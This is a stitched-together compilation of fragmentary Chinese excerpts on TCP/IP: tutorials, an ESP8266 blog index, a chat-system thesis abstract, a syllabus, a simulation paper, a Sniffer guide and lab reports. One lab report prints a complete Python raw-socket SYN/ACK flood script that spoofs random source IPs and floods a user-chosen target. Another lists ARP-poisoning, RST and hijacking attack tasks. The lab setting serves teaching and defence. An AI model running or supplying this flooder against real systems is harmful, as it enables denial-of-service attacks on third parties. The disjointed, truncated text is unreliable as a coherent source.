动手学习TCP系列之环境搭建

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信息技术开学第一课

信息技术开学第一课
编程基础知识
通过简单的编程实例,让学生初步了解 编程的基本思想和常用语言。
对未来信息技术学习的展望和建议
深入学习计算机科学知识
建议学生系统学习计算机组成原理、数据结构、算法等核心课程,打 下坚实的计算机科学基础。
提升编程能力
鼓励学生多进行编程实践,掌握至少一门编程语言,培养解决实际问 题的能力。
关注新技术发展
提升工作效率
通过团队协作,可以集思 广益,共同解决问题,从 而提高工作效率。
促进知识共享
团队成员之间可以相互学 习,共享知识和经验,提 升个人和团队的整体能力 。
加强项目质量
团队协作可以确保项目从 多个角度得到充分的考虑 和测试,从而提高项目质 量。
有效沟通技巧和方法分享
清晰表达
用简洁明了的语言表达自己的观 点,避免使用模糊或晦涩的词汇
信息技术开学第一课
目录
• 课程介绍与目标 • 信息技术基础知识 • 信息安全与防范策略 • 数字化学习与创新能力培养 • 编程入门与体验 • 团队协作与沟通技巧 • 课程总结与展望
01
课程介绍与目标
信息技术课程的目的
培养学生掌握基本的信息技术知识和技能,包括计算机 操作、网络应用、信息处理等。
提高学生的信息素养,使其具备在信息化社会中学习、 工作、生活的能力。
培养学生的创新思维和实践能力,通过信息技术手段解 决实际问题。
开学第一课的重要性
01
激发学生的学习兴趣和热情 ,为后续课程打下良好基础

02
帮助学生了解课程安排和教 学计划,明确学习目标和任
务。
03
引导学生树立正确的学习态 度和价值观,培养良好的学
产品。
03
技术革新

Esp8266进阶之路14esp8266的FreeRtos系统学习的正确姿势,环境配置环境。。。

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本系列博客学习由⾮官⽅⼈员潜⼼所⼒所写,不做开发板。

仅仅做个⼈技术交流分享,不做任何商业⽤途。

如有不对之处,请留⾔,本⼈及时更改。

序号SDK版本内容链接1nonos2.0搭建开发环境,开始⼀个“hellow world”串⼝打印。

2nonos2.0利⽤GPIO开始使⽤按钮点亮你的“第⼀盏灯。

3nonos2.0利⽤ "软件定时器 " 定时0.5秒闪烁点亮⼀盏LED。

4nonos2.0⽤PWM控制⼀盏LED的亮度变化。

5nonos2.0SDK⾼级使⽤之封装Post与Get请求云端,拿到“天⽓预报信息”。

6nonos2.0了解 SmartConfig与Airkiss⼀键配⽹,给8266配⽹上云端。

⽆需把wifi名字密码写在固件⾥。

7nonos2.0了解 softAP热点配⽹模式原理,仿“机智云”定义⾃⼰的热点配⽹模式协议。

8nonos2.0你要找的8266作为UDP、TCP客户端或服务端的⾓⾊通讯,都在这了。

9nonos2.0[⼩实战上篇]Windows系统搭建8266的本地Mqtt服务器,局域⽹点亮⼀盏LED灯。

10nonos2.0[⼩实战下篇]Windows系统搭建8266的本地Mqtt服务器,局域⽹点亮⼀盏LED灯。

11rtos2.0接⼊阿⾥智能,点亮⼀盏LED灯,期待天猫精灵语⾳控制的不约⽽⾄!12nonos2.0图⽂并茂学习阿⾥云主机搭建8266MQTT服务器,实现移动⽹络远程控制⼀盏LED。

13nonos2.0动⼿做个8266毕设⼩案例,smartConfig + MQTT协议轻松实现远程控制⼀盏LED。

14rtos2.0FreeRtos系统学习的正确姿势 ------ 环境搭建、烧录。

15rtos2.0接⼊阿⾥云平台⾮阿⾥智能的SDS服务,点亮⼀盏LED灯。

16nonos2.0基于Nonos移植红外线H1838,实现红外遥控器配⽹,远程控制⼀盏灯。

跟我学VS#语言编程技术——C#中的TCP-IP编程中的服务器端技术和应用示例

跟我学VS#语言编程技术——C#中的TCP-IP编程中的服务器端技术和应用示例
杨教授工作室,版权所有1 ,盗版必究, 1/12 页
杨教授工作室 精心创作的优秀程序员 职业提升必读系列资料
4、编程示例一 使用服务端主机的本地 IP 地址和端口号创建 TcpListener 类的实例。 IPAddress ipAddress = Dns.Resolve("localhost").AddressList[0]; try{ TcpListener tcpListener = new TcpListener(ipAddress, 13); } catch ( Exception e){ Console.WriteLine( e.ToString()); }
7、调用 Start 方法启动侦听
杨教授工作室,版权所程序员 职业提升必读系列资料
Start 方法将初始化基础 Socket。在此初始化后,Start 执行以下操作: 1) 使用基础 IPEndPoint 绑定基础 Socket。 2) 通过调用基础 Socket 的 Listen 方法开始侦听客户端连接。 但要注意的是,Start()方法只侦听连接请求。若要检测这些请求,可以使用以下方法之 一: Pending 方法轮询基础 Socket 以确定是否有挂起的连接,如果连接正挂起,则返回
5、编程示例二 下面的示例使用服务端主机的本地端口号创建 TcpListener 类的实例。 try{ TcpListener tcpListener = new TcpListener(13); } catch ( Exception e ){ Console.WriteLine( e.ToString()); }
6、编程示例三 下面的示例使用服务端主机的本地终结点创建 TcpListener 类的实例。 IPAddress ipAddress = Dns.Resolve(Dns.GetHostName()).AddressList[0]; IPEndPoint ipLocalEndPoint = new IPEndPoint(ipAddress, 11000); try{ TcpListener tcpListener = new TcpListener(ipLocalEndPoint); } catch ( Exception e ){ Console.WriteLine( e.ToString()); }

基于TCPIP的局域网聊天室的设计与实现

基于TCPIP的局域网聊天室的设计与实现

学士学位论文基于TCP/IP的局域网聊天室的设计与实现姓名:学号:指导教师:学院:专业:完成日期:学士学位论文基于TCP/IP的局域网聊天室的设计与实现姓名:学号:指导教师:学院:专业:完成日期:摘要随着计算机网络技术的发展,各种各样基于网络的应用也随之诞生,比如基于互联网的信息发布,通信,数据共享等等。

局域网的发展也同样迅速.很多政府机构,企业,学校,都是先以一个统一的局域网联结在一起,再分别接入INTERNET。

因此基于局域网的即时通信工具,就这样应运而生了.所以本文提出了一个更加合理的设计,并在WINDOWS平台上加以了实现.在本实现内将客户端和服务端综合在一个程序之内,用多线程实现不同的并行任务。

并进行了人性化的界面设计,使用起来更加简单方便,并且功能十分合理,又易于扩展以及个性化定制。

本文通过局域网聊天系统来具体共享内存实现进程间的数据交换,利用windows消息机制实现进程间的同步,两种机制结合使用。

局域网聊天室作为一种新型的聊天工具可以提供更为及时、可靠、突破了必须有外界网络接入等优点,具有极其广泛的发展前景.本文介绍了采用JAVA编程开发局域网聊天系统的一套比较常用的解决方案。

采用TCP模式进行文字聊天, 在客户端之间点对点(C/C)的进行。

本系统采用典型的C/S(客户端/服务器)的框架模式,在该方案中采用Socket (套接字)原理实现网络通信,最终实现了通过服务器中转的文字聊天、文件传输功能,从而大大降低了程序的开发难度。

本系统主要包括登陆、聊天、好友列表和服务器管理几个部分。

本系统从需求分析、系统的设计、功能的实现都严格遵循了软件工程设计的思想.【关键词】Socket;TCP/IP;C/S;局域网聊天室AbstractWith the development of computer network technology,a variety of Web-based applications also will be the birth,such as Internet-based information release, communications, data sharing, and so on. LAN development is quickly. Many government agencies,businesses,schools,are first linked together in a unified LAN,respectively connected to the INTERNET, LAN-based instant messaging tool, and thus came into being。

国家开放大学-—网络安全评价—实训2-拒绝服务攻击-TCP SYN Flood攻击与防御

国家开放大学-—网络安全评价—实训2-拒绝服务攻击-TCP SYN Flood攻击与防御

信息安全与管理专业实训报告学生姓名:一、实训名称:拒绝服务攻击-TCP SYN Flood攻击与防御。

二、实训内容1、kali的安装部署2、SYN Flood攻击演示3、观察受攻击目标的系统状态4、防御措施三、实验步骤1、python攻击代码环境:ubuntu/kali +python 2.7.11使用方法如下:mode有三种模式syn攻击、ack攻击、混合攻击,虽说是支持多线程但是多个线程反而不如单线程快,估计是我的多线程弄得有些问题,麻烦这方面比较懂的朋友帮我指点一下。

我电脑是i7-6700单线程也只能这点速度。

cpu1已经使用89%了看一下抓包情况吧,因为只是测试用我也没带tcp的options字段,报文长度也不够64字节,不过也能传到目的地址。

下面是代码:#!/usr/bin/python#-*-coding:utf-8-*-import socketimport structimport randomimport threadingclass myThread (threading.Thread):def __init__(self,dstip,dstport,mode):threading.Thread.__init__(self)self.dstip = dstipself.dstport =dstportself.mode =modedef run(self):attack(self.dstip,self.dstport,self.mode)def checksum(data):s = 0n = len(data) % 2for i in range(0, len(data)-n, 2):s+= ord(data[i]) + (ord(data[i+1]) << 8) if n:s+= ord(data[i+1])while (s >> 16):s = (s & 0xFFFF) + (s >> 16)s = ~s & 0xffffreturn sdef IP(source,destination,udplen):version = 4ihl = 5tos = 0tl = 20+udplenip_id = random.randint(1,65535)flags = 0offset = 0ttl = 128protocol =6check =0source = socket.inet_aton(source)destination = socket.inet_aton(destination)ver_ihl = (version << 4)+ihlflags_offset = (flags << 13)+offsetip_header = struct.pack("!BBHHHBBH4s4s",ver_ihl,tos,tl,ip_id,flags_offset,ttl,protocol,check,source,destination)check=checksum(ip_header)ip_header = struct.pack("!BBHHHBBH4s4s",ver_ihl,tos,tl,ip_id,flags_offset,ttl,protocol,socket.htons(check),source,destination)return ip_headerdef TCP(srcip,dstip,protocol,dp,fg):source = socket.inet_aton(srcip)destination = socket.inet_aton(dstip)srcport=random.randint(1,65535)dstport=dpsyn_num=random.randint(1,4000000000)if fg == 2:ack_num=0else:ack_num=random.randint(1,4000000000) hlen=5zero=0flag=fgwindow=8192check=0point=0tcplen=hlenh_f=(hlen << 12)+flagTCP_head=struct.pack("!4s4sHHHHIIHHHH",source,destination,protocol,tcplen,srcport,dstport,s yn_num,ack_num,h_f,window,check,point)check=checksum(TCP_head)TCP_head=struct.pack("!HHIIHHHH",srcport,dstport,syn_num,ack_num,h_f,window,check,point )return TCP_headdef makepacket(dstip,dstport,fg):srcip=str(random.choice(ip_first))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))+'. '+str(random.randint(1,255))protocol=6ippacket=IP(srcip,dstip,5)+TCP(srcip,dstip,protocol,dstport,fg)return ippacketdef attack(dstip,dstport,mode):if mode == 'syn':fg=2while 1:data=makepacket(dstip,dstport,fg)s.sendto(data,(dstip,dstport))elif mode == 'ack':fg=18while 1:data=makepacket(dstip,dstport,fg)s.sendto(data,(dstip,dstport))elif mode == 'syn&ack':while 1:data=makepacket(dstip,dstport,2)s.sendto(data,(dstip,dstport))data=makepacket(dstip,dstport,18)s.sendto(data,(dstip,dstport))else:print 'DON\'T xia say!'dstip=raw_input('attack IP:')dstport=int(input('attack PORT:'))mode=raw_input('mode:(syn or ack or syn&ack)') threads=int(input("线程数threads:"))ip_first=[]for i in range(1,10):ip_first.append(i)for i in range(11,172):ip_first.append(i)for i in range(173,192):ip_first.append(i)for i in range(193,224):ip_first.append(i)s = socket.socket(socket.AF_INET,socket.SOCK_RAW,6) s.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)threads_name=[]for i in range(threads):threads_name.append('teread'+str(i))for i in range(threads):threads_name[i]=myThread(dstip,dstport,mode)for i in range(threads):threads_name[i].start()2、C语言攻击代码环境:ubuntu/kali gcc version 6.1.1 20160802 (Debian 6.1.1-11)使用方法:支持两个参数目的ip和目的端口性能:限制发包速度的是带宽(我这是100M的网,除去报文的前导码和帧间隔极限速度差不多就是9m左右了),cpu利用才27%,我在1000Mbps的网速下测试,单线程的话速度能到40m左右,cpu占用率大约85%左右。

C#基于TCP协议的服务器端和客户端通信编程的基础教程

C#基于TCP协议的服务器端和客户端通信编程的基础教程

C#基于TCP协议的服务器端和客户端通信编程的基础教程运⾏在TCP之上常见的⽹络应⽤协议有⽐如HTTP、FTP、SMTP、POP3、IMAP。

TCP是TCP/IP体系中最重要的传输协议,它提供全双⼯和可靠交付的服务,是⼤多数应⽤协议⼯作的基础。

TCP是⼀种⾯向连接(连接导向)的,可靠的,基于字节流的传输层通信协议。

TCP的⼯作过程建⽴连接传输数据连接的终⽌TCP的主要特点1.TCP是⾯向连接的协议2.是端到端的通信。

每个TCP连接只能有两个端点,⽽且只能⼀对⼀通信,不能点对多的的直接通信3.⾼可靠性4.全双⼯⽅式传输5.数据以字节流的⽅式传输6.传输的数据⽆消息边界关于线程利⽤TCP开发应⽤程序时,.net框架提供两种⼯作⽅式,⼀种是同步⼯作⽅式,另⼀种是异步⼯作⽅式。

同步⼯作⽅式是指利⽤TCP编写的程序执⾏到监听或者接收语句,在未完成当前⼯作前不再。

继续往下执⾏,线程处于阻塞状态,直到该语句完成后才能继续执⾏下⼀条语句。

异步⼯作⽅式是指程序执⾏到监听或者接收语句时,⽆论当前⼯作是否完成,都会继续往下执⾏。

TcpListener与TcpClient类常⽤⽅法与属性TCPListener类⽤于监听客户端连接请求,TCPClient类⽤于提供本地主机和远程主机的连接信息。

两个类都位于 .Socckets命名空间下。

1.TCPListener类常⽤的⽅法:(1)AcceptSocket:从端⼝处接收⼀个连接并赋予它Socket对象(2)AcceptTcpClient:从端⼝处接收⼀个连接并赋予它TCPClient对象(3)Equals:判断两个TcpListener对象是否相等(4)GetType:获取当前实例的类型(5)Pending :确定是否有挂起的连接请求(6)Start:开始接听传⼊的连接请求(7)Stop:关闭监听器(8)ToString:创建TcpListener对象的字符串表⽰2.TcpClient常⽤的属性与⽅法属性:(1)Client:获取或设置基础套接字(2)LingerState:获取或设置套接字保持连接的时间(3)NoDelay:获取或设置⼀个值,该值在发送或接收缓存冲未满时禁⽌延迟、(4)ReceiveBufferSize:获取或设置TCP接收缓存区的⼤⼩(5)ReceiveTimetut:获取或设置套接字接收数据的超时时间(6)SendBufferSize:获取或设置TCP发送缓存区的⼤⼩(7)SendTimeout:获取或设置套接字发送数据超时时间⽅法:(1)Close:释放TcpClient实例,⽽不关闭基础连接(2)Connect:⽤指定的主机名和端⼝号将客户端连接到TCP主机(3)BeginConnect:开始⼀个远程主机连接的异步请求(4)GetStream:获取能够发送和接收数据的NetworkStream对象TCP编程的⼀般步骤1.⽹络通信的最基本的前提就是客户端要先和服务器建⽴TCP连接2.服务端要不断的监听客户端是否有连接请求、并且服务端能要识别特定的客户端3.连接并创建对应的套接字4.发送数据和接收数据编写服务器端程序的⼀般步骤1.创建⼀个TcpListener对象,然后调⽤该对象的Start⽅法在指定的端⼝进⾏监听2.在单独的线程中,⾸先循环调⽤AcceptTcpClient⽅法接收客户端的连接请求,从该⽅法中的返回结果中得到与该客户端对应的TcpClient对象,并利⽤该对象的GetStream⽅法得到NetworkStream。

tcpip课程设计考试

tcpip课程设计考试

tcpip课程设计考试一、教学目标本课程的学习目标包括知识目标、技能目标和情感态度价值观目标。

知识目标要求学生掌握TCP/IP协议的基本原理、各层功能和协议实现。

技能目标要求学生能够运用TCP/IP协议分析网络数据包、搭建和调试网络实验环境。

情感态度价值观目标培养学生的团队合作意识、创新精神和对网络技术的热爱。

教学目标应具体、可衡量,以便学生和教师能够清晰地了解课程的预期成果。

同时分析课程性质、学生特点和教学要求,明确课程目标,将目标分解为具体的学习成果,以便后续的教学设计和评估。

二、教学内容根据课程目标,选择和教学内容,确保内容的科学性和系统性。

本课程的教学大纲如下:1.TCP/IP协议概述:介绍TCP/IP协议的发展历程、体系结构及特点。

2.网络层:讲解IP地址、子网划分、路由选择等概念,让学生了解网络层的功能和协议实现。

3.传输层:深入剖析TCP和UDP协议,重点掌握TCP的三次握手和四次挥手过程。

4.应用层:介绍常见的应用层协议,如HTTP、FTP、SMTP等,并分析它们在实际应用中的作用。

5.网络设备与实验:讲解网络设备的工作原理和配置方法,安排实验室实践环节,让学生动手搭建和调试网络环境。

教学内容要与课本有关联性,要符合教学实际,不要写无关内容,不要带任何的解释和说明。

三、教学方法选择合适的教学方法,如讲授法、讨论法、案例分析法、实验法等。

通过教学方法应多样化,以激发学生的学习兴趣和主动性。

1.讲授法:用于讲解TCP/IP协议的基本原理和概念,让学生掌握基础知识。

2.讨论法:鼓励学生就案例或实验过程中的问题进行讨论,培养学生的思考和分析能力。

3.案例分析法:分析实际应用场景中的网络协议,让学生了解协议在现实世界中的应用。

4.实验法:安排实验室实践环节,让学生动手操作,提高实际操作能力和解决问题的能力。

四、教学资源选择和准备适当的教学资源,包括教材、参考书、多媒体资料、实验设备等。

教学资源应该能够支持教学内容和教学方法的实施,丰富学生的学习体验。

基于OPNET_的网络协议TCP_仿真实验平台的设计与实现

基于OPNET_的网络协议TCP_仿真实验平台的设计与实现

科技与创新┃Science and Technology&Innovation ·122·2023年第17期文章编号:2095-6835(2023)17-0122-03基于OPNET的网络协议TCP仿真实验平台的设计与实现游胜玉,刘琳(东华理工大学软件学院,江西南昌330013)摘要:计算机网络是一门实践性非常强的学科,但由于实验实训的环境条件有限,很多网络实验无法开展,仿真软件成为了网络实验的必要选择。

网络仿真技术的使用,既可以降低实验成本,又可以培养初学者的创造能力。

采用OPNET 网络仿真软件搭建实验平台,对TCP(Transmission Control Protocol,传输控制协议)的慢启动算法、拥塞避免算法、快速重传算法和快速修复算法4种不同算法实验进行设计与实现。

关键词:OPNET;TCP;仿真实验;网络中图分类号:TP393.2文献标志码:A DOI:10.15913/ki.kjycx.2023.17.036随着经济的迅猛发展,计算机网络已经离不开人们的生活。

社会需求的日益增加,网络拓扑结构也不断复杂化,网络的应用也不断多元化,传统的网络实验操作环境已远远不能满足现代实验操作的要求。

在计算机网络技术中,服务器、交换机、防火墙及路由器是网络的主流设备[1-2],即使实际的网络实验中采用一定数量的网络设备,但意味着需要投入更高的成本,且网络设备维护也比较复杂,特别是对于那些复杂的大型网络建设,更需要大量的人力物力来建设。

另外,对于初学者来说,如果在硬件设备搭建实验过程中出现故障导致实验失败,也不知道问题出现在哪,从而影响实验效果[3-4]。

因此,针对这样的情况,引入仿真技术来搭建网络实验环境,可以减少投资成本,并且对于初学者而言又锻炼了实践能力。

本文采用OPNET 网络仿真软件搭建仿真实验平台,对传输控制协议TCP的慢启动算法、拥塞避免算法、快速重传算法和快速修复算法进行设计与实现。

TCP-IP攻击实验-实验报告.docx

TCP-IP攻击实验-实验报告.docx

中南大学TCP/IP 攻击实验实验报告学生姓名学院信息科学与工程学院专业班级完成时间2015年 11 月 29 日目录1. 实验描述 (3)2. 实验步骤 (3)环境搭建 (3)实验 1:ARP缓存中毒 (3)实验 2:ICMP重定向攻击 . (4)实验 3:SYN洪流攻击 (5)实验 4:在 telnet和ssh连接上的TCP RST攻击 (6)实验5:对视频流应用程序的TCP RST 攻击 (7)实验 6:ICMP 盲目连接重置和源端关闭攻击 (7)实验 7:TCP报文劫持 (8)3. 总结 (8)TCP/IP 攻击实验1.实验描述【实验背景】由于 TCP/IP 协议是 Internet的基础协议,所以对TCP/IP 协议的完善和改进是非常必要的。

TCP/IP 协议从开始设计时候并没有考虑到现在网络上如此多的威胁, 由此导致了许多形形色色的攻击方法,一般如果是针对协议原理的攻击( 尤其 DDOS),我们将无能为力。

TCP/IP 攻击的常用原理有:(1)源地址欺骗(Source Address Spoofing)Spoofing);、 IP欺骗 (IP Spoofing)和 DNS欺骗 (DNS(2)路由选择信息协议攻击 (RIP Attacks) ;(3) 源路由选择欺骗(Source Routing Spoofing);(4) TCP 序列号欺骗和攻击(TCP Sequence Number Spoofing and Attack)。

【实验目的】基于 TCP/IP 协议进行攻击实验, 了解 TCP/IP 协议的具体机制。

2.实验步骤环境搭建这里我使用三台虚拟机做实验,其中一个用于攻击;另一个用于被攻击;第三个作为观察者使用;把三台主机放在同一个LAN中,其配置信息参照如下所示(实际在实验过程中有所改动):这里我使用的是Wireshark工具箱的SEED实验室已经搭建好,并且已经安装好相关的Ubuntu 系统,与此同时三台虚拟机都需要打开netwoxFTP 和 Telnet工具箱和服务:使用如下命令来完成上述任务Start the ftp server#servicevsftpd startStart the telnet server#serviceopenbsd-inetd start实验 1:ARP缓存中毒【实验背景】ARP缓存是 ARP协议的重要的一部分。

车联网仿真环境搭建

车联网仿真环境搭建

交通科技与管理1智慧交通与信息技术1 意义 车联网(IoV,Internet of Vehicle)是一种基于多人、多机、多车、环境协同的可控、可管、可运营、可信的开放的融合网络系统,它采用先进的信息通信与处理技术,对人、车、通信网络和道路交通基础设施等环境元素的大规模复杂的静态/动态信息进行感知、认知、传输和计算,解决泛在异构移动网络环境下智能管理和信息服务的可计算性、可扩展性和可持续性问题,最终实现人、车、路、环境的深度融合。

车联网随着自动驾驶、群智感知技术正逐渐被大家所认知。

车联网领域的很多内容仍然处于探索阶段中,大量的理论需要实验进行反复验证,通过对仿真结果的分析以验证理论的正确性和合理性。

但在真实的环境中,完成基于真实车辆、真实场景的有效实验不仅难度大,而且验证成本非常高。

因此,利用计算机的模拟而实现的仿真技术是现阶段验证和研究车联网理论的重要手段。

2 交通模型 交通模型可以分为宏观交通仿真模型、微观交通仿真模型和中观交通仿真模型。

宏观交通仿真模型对系统实体、行为及其相互作用的描述非常粗略,仿真速度快,对计算机资源的要求较低。

它采用集合方式来展现交通流,如交通流量、速度、密度及它们之间的关系。

宏观模型很少考虑车流内车辆之间的相互作用,如车辆跟驰、车道变换,不考虑个别车辆的运动。

宏观交通仿真模型比微观仿真模型的精度低,适于描述系统的总体特性,并试图通过反映系统中的所有个体特性来反映系统的总体特性。

宏观仿真模型的重要参数是速度、密度和流量。

微观交通仿真模型很细致地描述系统实体及其相互作用,对计算资源的要求较高。

微观交通仿真模型把每辆车作为一个研究对象。

对所有个体车辆都进行标识和定位,在仿真方法上不同于宏观交通仿真。

在每一时段,车辆的速度、加速度及其他车辆特性被实时更新。

微观仿真的基本模型包括跟驰模型、超车模型及车道变换模型。

微观水平的车道变换不仅涉及到当前车道中本车对前车的跟驰模型,而且涉及到目标车道的假定前车和后车的跟驰模型,还可以精细地模拟驾驶员决策行为,能灵活地反映出各种道路和交通条件的影响。

TCP-IP攻击实验-实验报告

TCP-IP攻击实验-实验报告

中南大学TCP/IP攻击实验实验报告学生姓名学院信息科学与工程学院专业班级完成时间 2015年11月29日目录1.实验描述 (3)2.实验步骤 (3)环境搭建 (3)实验1:ARP缓存中毒 (3)实验2:ICMP重定向攻击 (4)实验3:SYN洪流攻击 (5)实验4:在telnet和ssh连接上的TCP RST攻击 (6)实验5:对视频流应用程序的TCP RST 攻击 (7)实验6:ICMP盲目连接重置和源端关闭攻击 (7)实验7:TCP报文劫持 (8)3.总结 (8)TCP/IP攻击实验1.实验描述【实验背景】由于TCP/IP协议是Internet的基础协议,所以对TCP/IP协议的完善和改进是非常必要的。

TCP/IP协议从开始设计时候并没有考虑到现在网络上如此多的威胁,由此导致了许多形形色色的攻击方法,一般如果是针对协议原理的攻击(尤其DDOS),我们将无能为力。

TCP/IP攻击的常用原理有:(1)源地址欺骗(Source Address Spoofing)、IP欺骗(IP Spoofing)和DNS欺骗(DNS Spoofing);(2) 路由选择信息协议攻击(RIP Attacks);(3) 源路由选择欺骗(Source Routing Spoofing) ;(4) TCP序列号欺骗和攻击(TCP Sequence Number Spoofing and Attack)。

【实验目的】基于TCP/IP协议进行攻击实验,了解TCP/IP协议的具体机制。

2.实验步骤环境搭建这里我使用三台虚拟机做实验,其中一个用于攻击;另一个用于被攻击;第三个作为观察者使用;把三台主机放在同一个LAN中,其配置信息参照如下所示(实际在实验过程中有所改动):这里我使用的是SEED实验室已经搭建好,并且已经安装好相关的netwox工具箱和Wireshark工具箱的Ubuntu系统,与此同时三台虚拟机都需要打开FTP和Telnet服务:使用如下命令来完成上述任务Start the ftp server# servicevsftpd startStart the telnet server# serviceopenbsd-inetd start实验1:ARP缓存中毒【实验背景】ARP缓存是ARP协议的重要的一部分。

双机互联实验报告

双机互联实验报告

双机互联实验报告一、实验目的通过搭建双机互联实验,了解和学习在实际应用中实现双机互联的方法与技术,掌握常见的网络连接方式和网络配置方法,提高对网络拓扑和网络协议的理解。

二、实验设备与工具1.实验设备:两台计算机、一个网络交换机、两根网线。

2. 实验工具:Windows系统、Wireshark抓包工具、SecureCRT远程连接软件。

三、实验步骤与过程1.搭建实验环境:将两台计算机和网络交换机连接起来,连接方式为一台计算机的网口连接到交换机,另一台计算机的网口连接到交换机,通过网线实现互联。

2.配置网络设置:分别登录两台计算机,打开“控制面板” - “网络和共享中心”,点击“更改适配器设置”,找到对应的以太网适配器,右键点击并选择“属性”。

在“属性”窗口中选择“Internet协议版本4(TCP/IPv4)”,点击“属性”,依据实际情况进行IP地址和子网掩码的设置。

例如,计算机1的IP地址配置为192.168.0.1,子网掩码配置为255.255.255.0;计算机2的IP地址配置为192.168.0.2,子网掩码配置为255.255.255.0。

点击“确定”保存设置。

3.配置默认网关:在“Internet协议版本 4(TCP/IPv4)属性”窗口中点击“高级”,在“默认网关”选项卡中点击“添加”按钮,设置网关地址为计算机1的IP地址(即192.168.0.1)。

点击“确定”保存设置。

4.检查网络连接:分别登录两台计算机,在命令提示符窗口中输入ping命令来测试网络连接。

在计算机1上输入“ping 192.168.0.2”,在计算机2上输入“ping 192.168.0.1”,确保两台计算机之间能够相互ping通。

5.抓包分析:在计算机1上安装Wireshark抓包工具,打开软件并选择对应的以太网适配器。

点击开始抓包,然后在计算机2上执行网络操作,例如访问网页或发送文件等。

在Wireshark软件中观察抓包结果,分析网络通信过程和数据包的内容。

网络基础——socket的通信流程介绍,基于tcp协议通信的socket程序编写

网络基础——socket的通信流程介绍,基于tcp协议通信的socket程序编写

⽹络基础——socket的通信流程介绍,基于tcp协议通信的socket程序编写⼀、socket的通信流程介绍⼀开始,套接字被设计⽤在同⼀台主机上多个应⽤程序之间的通讯。

这也被称进程间通讯,或 IPC。

套接字有两种(或者称为有两个种族),分别是基于⽂件型的和基于⽹络型的。

先从服务器端说起。

服务器端先初始化Socket,然后与端⼝绑定(bind),对端⼝进⾏监听(listen),调⽤accept阻塞,等待客户端连接。

在这时如果有个客户端初始化⼀个Socket,然后连接服务器(connect),如果连接成功,这时客户端与服务器端的连接就建⽴了。

客户端发送数据请求,服务器端接收请求并处理请求,然后把回应数据发送给客户端,客户端读取数据,最后关闭连接,⼀次交互结束.#socket()模块函数⽤法服务端套接字函数s.bind() 绑定(主机,端⼝号)到套接字s.listen() 开始TCP监听s.accept() 被动接受TCP客户的连接,(阻塞式)等待连接的到来客户端套接字函数s.connect() 主动初始化TCP服务器连接s.connect_ex() connect()函数的扩展版本,出错时返回出错码,⽽不是抛出异常公共⽤途的套接字函数s.recv() 接收TCP数据s.send() 发送TCP数据(send在待发送数据量⼤于⼰端缓存区剩余空间时,数据丢失,不会发完)s.sendall() 发送完整的TCP数据(本质就是循环调⽤send,sendall在待发送数据量⼤于⼰端缓存区剩余空间时,数据不丢失,循环调⽤send直到发完)s.recvfrom() 接收UDP数据s.sendto() 发送UDP数据s.getpeername() 连接到当前套接字的远端的地址s.getsockname() 当前套接字的地址s.getsockopt() 返回指定套接字的参数s.setsockopt() 设置指定套接字的参数s.close() 关闭套接字⾯向锁的套接字⽅法s.setblocking() 设置套接字的阻塞与⾮阻塞模式s.settimeout() 设置阻塞套接字操作的超时时间s.gettimeout() 得到阻塞套接字操作的超时时间⾯向⽂件的套接字的函数s.fileno() 套接字的⽂件描述符s.makefile() 创建⼀个与该套接字相关的⽂件⼆、基于tcp协议通信的套接字程序编写1、Socket是:应⽤层与TCP/IP协议族通信的中间软件抽象层,它是⼀组接⼝。

网络管理心得体会通用10篇

网络管理心得体会通用10篇

网络管理心得体会通用10篇网管员培训心得体会篇一作为小学的信息技术教师,我深感做信息技术教师是一件非常不容易的事情。

首先,必需将教育教学工作做好,因为自己是教师,教书育人是天职。

其次,还要将兴趣小组的学生辅导好,毕竟学生的成果是老师较大的收获。

除了这些,我们还必须做好电脑维护和网络管理工作。

较关键的是,一般小学只有一至两位信息技术老师,这就给信息技术老师更高的要求。

信息技术老师要胜任这一系列的工作就必须学习。

本学期,区教师发展中心信息部提供了网管学习班这个学习的好机会,我怀着欣喜的心情在第一时间就报了名。

因为我知道在工作中能有这么一个学习机会是多么宝贵。

同时通过这次的培训也发现自己在网络管理方面知识的匮乏,督促自己在今后的工作中不断的学习和充电。

在这次网管培训中较有收获的几点如下:1、对我的触动很大面对新的课程和新的工作需求,我意识到了自身有太多的不足,知识跟新非常快,我所掌握的知识与技能已经不能满足我的工作需要了,因此我产生了很大的压力,当然也给我带了学习的动力。

2、感受学习的乐趣在学习的过程中,老师每讲完一个知识点,我就有一种收获感,我又知道了一些我原本不了解的东西,虽然不能完全理解,但我进步了,每做完一个实验,成功了,我又有一种成就感;失败了,我就及时向旁边的同学请教,在紧张而忙碌的学习生活中,我感受到了学习的乐趣。

3、和学生换位思考我作为教师,平常要给学生上课,我有时很纳闷为什么学生听不懂呢?我已经讲的很清楚了呀,为什么就是不理解呢?当我再次以学生的身份步入课堂进行学习的。

时候,我终于明白了,当老师讲解我从未学过的知识的时候,原来我也和我的学生一样,那样不解,那样无助,甚至于有时候想放弃,那么多的知识我真是消化不了了啊,因而产生了厌恶的情绪。

这时该怎么办呢?从老师那我学到了作为老师该如何处理这种情况的方法,老师对我们的理解非常重要,他及时地发现了我们的状况,及时地调整了教学策略,给我们亲自动手实践的机会,并在开始和结束的时候为我们总结,当我们模糊的时候给我们指导,让我们一步一步地跟着他前进。

TCP连接建立及结束过程详解

TCP连接建立及结束过程详解

TCP连接建立及结束过程详解TCP连接建立及结束过程详解图示图解图例【简介】TCP连接是面向可靠的连接,它通过建立可靠连接实现数据的可靠传输,在应用程序中被广泛使用。

由于FTP命令采用的连接就是TCP连接,下面给大家介绍一下如何使用Sniffer工具捕获FTP命令数据包,分析TCP连接建立和结束的详细过程,使大家更好地理解和详细掌握TCP连接建立的三次握手过程和四次结束的过程。

一、FTP命令数据包的捕获1、搭建网络环境。

建立一台FTP服务器,设置IP地址为:76.88.16.16。

建立一台FTP客户端,IP地址设为76.88.16.104,在其上安装Sniffer软件。

将这两台设备通过集线器连接起来。

2、定义过滤器。

在FTP客户端上运行Sniffer软件,进入系统,点“Monitor”-“Matrixa”,选中本机,点鼠标右健,选择“Define Filter…”,在“Define Filter…”窗口,点“Advanced”,选择IP->TCP->FTP,点“确定”,即已定义好过滤器,如图1所示。

3、捕获FTP命令数据包。

首先,在Sniffer中选择“Monitor”-“Matrix”,点击“Capture”命令开始捉包。

然后,在FTP客户端上进入DOS提示符下,输入“FTP76.88.16.16”命令,输入FTP用户名和口令,登录FTP服务器,进行文件的下载,最后输入“bye”命令退出FTP程序,完成整个FTP命令操作过程。

